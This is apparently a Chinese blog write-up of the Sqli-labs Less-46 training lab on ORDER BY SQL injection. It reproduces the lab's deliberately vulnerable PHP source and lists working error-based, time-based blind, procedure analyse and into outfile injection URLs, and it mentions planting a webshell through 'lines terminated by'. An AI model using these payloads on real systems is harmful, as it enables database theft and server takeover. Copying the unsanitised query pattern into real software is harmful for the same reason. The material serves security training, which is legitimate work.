zoukankan      html  css  js  c++  java
  • SQL注入之Sqli-labs系列第四十六关(ORDER BY注入)

    0X1查看页面

    0x2源码

    <?php
    include("../sql-connections/sql-connect.php");
    $id=$_GET['sort'];    
    if(isset($id))
        {
        //logging the connection parameters to a file for analysis.
        $fp=fopen('result.txt','a');
        fwrite($fp,'SORT:'.$id."
    ");
        fclose($fp);
    
        $sql = "SELECT * FROM users ORDER BY $id";
        echo $sql . '<br>';
        $result = mysql_query($sql);
        if ($result)
            {
            ?>
            <center>
            <font color= "#00FF00" size="4">
            
            <table   border=1'>
            <tr>
                <th>&nbsp;ID&nbsp;</th>
                <th>&nbsp;USERNAME&nbsp;  </th>
                <th>&nbsp;PASSWORD&nbsp;  </th>
            </tr>
            </font>
            </font>
            <?php
            while ($row = mysql_fetch_assoc($result))
                {
                echo '<font color= "#00FF11" size="3">';        
                echo "<tr>";
                    echo "<td>".$row['id']."</td>";
                    echo "<td>".$row['username']."</td>";
                    echo "<td>".$row['password']."</td>";
                echo "</tr>";
                echo "</font>";
                }    
            echo "</table>";
            
            }
            else
            {
            echo '<font color= "#FFFF00">';
            print_r(mysql_error());
            echo "</font>";  
            }
        }    
        else
        {
            echo "Please input parameter as SORT with numeric value<br><br><br><br>";
            echo "<br><br><br>";
            echo '<img src="../images/Less-46.jpg" /><br>';
            echo "Lesson Concept and code Idea by <b>D4rk</b>";
        }
    ?>
    php源码

    0x3 ORDER BY 分析

    (1)首先看看本关sql语句

    $sql = "SELECT * FROM users ORDER BY $id";  

    在mysql中 order by 参数后可以加入升序和降序来改变排列顺序,

    (2)升降序尝试

    页面显示出不同的信息,证明存在sql注入,从页面中我们可以看出,注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,通过查询mysql帮助文档,可以在后面带入参数来进行注入

    0x4 思路分析

     (1)order by 后的数字可以作为一个注入点,构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试

    http://192.168.232.135/sqli-labs/Less-46/?sort=right(database(),1)

    解释下:

    rigth函数:是返回右边结果的第一个字符

    mysql>seclet right('hello',1);
             >'o'

    left函数:是返回左边结果的第一个字符

    mysql>seclet left('hello',1);
             >'h'

    经过测试,两个函数在页面并没有任何的反应,证明数字并没有起作用,考虑下布尔类型。可以利用报错注入和延时注入。

    (2)直接在sort后面构造,形式存在几种

      直接添加注入语句

      利用函数(例如:rand 函数等)使用true和false看看结果

      利用and,例如?sort=1 and (加sql语句)。

    (3)报错注入实例

    floor函数:
    http://localhost/sqli-labs-master/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)

    (4)延迟注入实例

    http://localhost/sqli-labs-master/Less-46/?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)  
    http://localhost/sqli-labs-master/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))  

    (4)procedure analyse参数注入

         利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

    http://localhost/sqli-labs-master/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)  

    (5)导入导出文件into outfile参数

    http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"  

    (6)lines terminated by上传网马

    Into outtfile 文件地址 lines terminated by 0x(网马进行16进制转换)

    以上部分内容都是摘录,具体的都是经过了实例认证

  • 相关阅读:
    secureCRT 6.5 ssh登陆openeuler提示交换秘钥不支持
    ediary电子日记本-力荐
    centos8.4 iso下载地址
    Manjaro Cutefish 安装体验类似macos风格
    脚本启动第一行提示sh/bash找不到
    securecrt双击克隆会话
    开源的window/linux远程连接工具-mRemoeteNG
    securecrt设置日志缓存
    怎么实现通过扫描二维码进行登录
    使用link rel="shortcut icon"为网页标题加图标
  • 原文地址:https://www.cnblogs.com/AmoBlogs/p/8725258.html
Copyright © 2011-2022 走看看